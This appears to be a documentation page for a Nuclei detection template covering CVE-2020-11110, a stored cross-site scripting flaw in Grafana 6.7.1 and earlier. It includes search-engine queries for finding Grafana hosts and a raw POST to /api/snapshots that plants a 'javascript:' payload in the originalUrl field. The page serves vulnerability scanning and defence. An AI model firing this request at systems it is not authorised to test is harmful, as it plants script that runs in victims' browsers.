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Grafana <= 6.7.1 - Cross-Site Scripting

ID: CVE-2020-11110

Severity: medium

Author: emadshanab

Tags: cve2020,cve,xss,grafana,hackerone

Description

Section titled “Description”

Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.

YAML Source

Section titled “YAML Source”
id: CVE-2020-11110


info:
  name: Grafana <= 6.7.1 - Cross-Site Scripting
  author: emadshanab
  severity: medium
  description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: This issue can be resolved by updating Grafana to the latest version.
  reference:
    - https://github.com/grafana/grafana/pull/23254
    - https://security.netapp.com/advisory/ntap-20200810-0002/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11110
    - https://hackerone.com/reports/1329433
    - https://github.com/grafana/grafana/blob/master/CHANGELOG.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-11110
    cwe-id: CWE-79
    epss-score: 0.00512
    epss-percentile: 0.76553
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2020,cve,xss,grafana,hackerone


http:
  - raw:
      - |
        POST /api/snapshots HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Accept-Language: en-US,en;q=0.5
        Referer: {{BaseURL}}
        content-type: application/json
        Connection: close


        {"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json


      - type: word
        part: body
        words:
          - '"deleteKey":'
          - '"deleteUrl":'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        group: 1
        regex:
          - '"url":"([a-z:/0-9A-Z]+)"'
        part: body
# digest: 4a0a00473045022013066f28e9e2d3699cb76c127a457ad33e5e73fdf0427f9ad9e23e6db9bc532e022100f5bcb97bb084537d7e4d95b87641642977405aa823160cecc12d9077ac91258c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-11110.yaml"

View on Github